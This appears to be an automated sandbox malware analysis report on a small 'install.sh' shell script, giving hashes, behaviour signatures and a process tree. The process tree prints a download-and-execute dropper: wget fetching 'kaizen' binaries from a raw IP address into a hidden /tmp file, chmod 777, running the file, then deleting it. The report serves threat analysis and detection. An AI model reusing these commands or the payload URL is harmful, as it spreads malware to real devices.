Analysis
- max time kernel
134s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
28/08/2026, 06:12
Static task
static1
Behavioral task
behavioral1
Sample
install.sh
Resource
ubuntu1804-amd64-20260513-en
17 signatures
150 seconds
Behavioral task
behavioral2
Sample
install.sh
Resource
debian9-armhf-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
install.sh
Resource
debian9-mipsbe-20260513-en
13 signatures
150 seconds
Behavioral task
behavioral4
Sample
install.sh
Resource
debian9-mipsel-20260513-en
13 signatures
150 seconds
General
- Target install.sh
- Size 514B
- Sample260828-gybatafj4x
- SHA256 ed555255a37cf5daec7f617af1c5553723b47376830c666bdf036f5ea9e979e8
- MD5 ff9242f0017d838f07771a3874485dc6
- SHA1 e6008411ba4e0d78a81798057460c1f708398004
- SHA512 55739580da2e2104efaa1aef75ddd9dae9d6724dd227fb842a051129e2b822abdcddf1bc4582a5c55d3247413bca52b8a2833615ea26d34eb2074b01a92bca74
- TLSH T1BDF0C9EEF8664C343E088D7FB0A732E47040945280D52D84338AF9E7855CC48FA1A222
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 774 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/.k 775 install.sh - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 645 wget - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.k wget File opened for modification /tmp/.k wget
Processes
-
/tmp/install.sh/tmp/install.sh1⤵
- Executes dropped EXE
PID:643 -
/usr/bin/wgetwget -q http://196.251.121.142/a3f8d2/kaizen.mips -O .k2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:645
-
-
/bin/chmodchmod 777 .k2⤵
- File and Directory Permissions Modification
PID:774
-
-
/tmp/.k./.k http2⤵PID:775
-
-
/bin/rmrm -f .k2⤵PID:777
-
-
/usr/bin/wgetwget -q http://196.251.121.142/a3f8d2/kaizen.mpsl -O .k2⤵
- Writes file to tmp directory
PID:778
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/.k
- Size 187KB
- SHA256 8dc026640c8dd359ad7248d1ea0a4740bf3bbbf1a3abcfbbf6390e0ecdb31ebb
- MD5 337fd49a0d4f775f02ac3a822c853824
- SHA1 14b54c3557873c65d4b82aeed1ee5dcf46ef1b1e
- SHA512 f0456efb7dd2090c254a80280b9294ed62f5e8692d07ab4bd68037729c3af4771bb51ee4df6f1492a2fb43da72a6d57f88338e5b129b2a749127ed5c8ec5fea0
- SSDEEP 3072:YwKDsx6qx5kDZihGVkg3uOU7PWHJFBj83TMljWVKutKXarrUnr3v6opxINrUVNZZ:iHuaFhWVKutKEw6BUFZ
- TLSH T10514F81D3E308F1DFB95C33545B38925929833D636E1C089D1BCFA216EA068B781BF99
- MD5 SHA1 SHA512 SSDEEP TLSH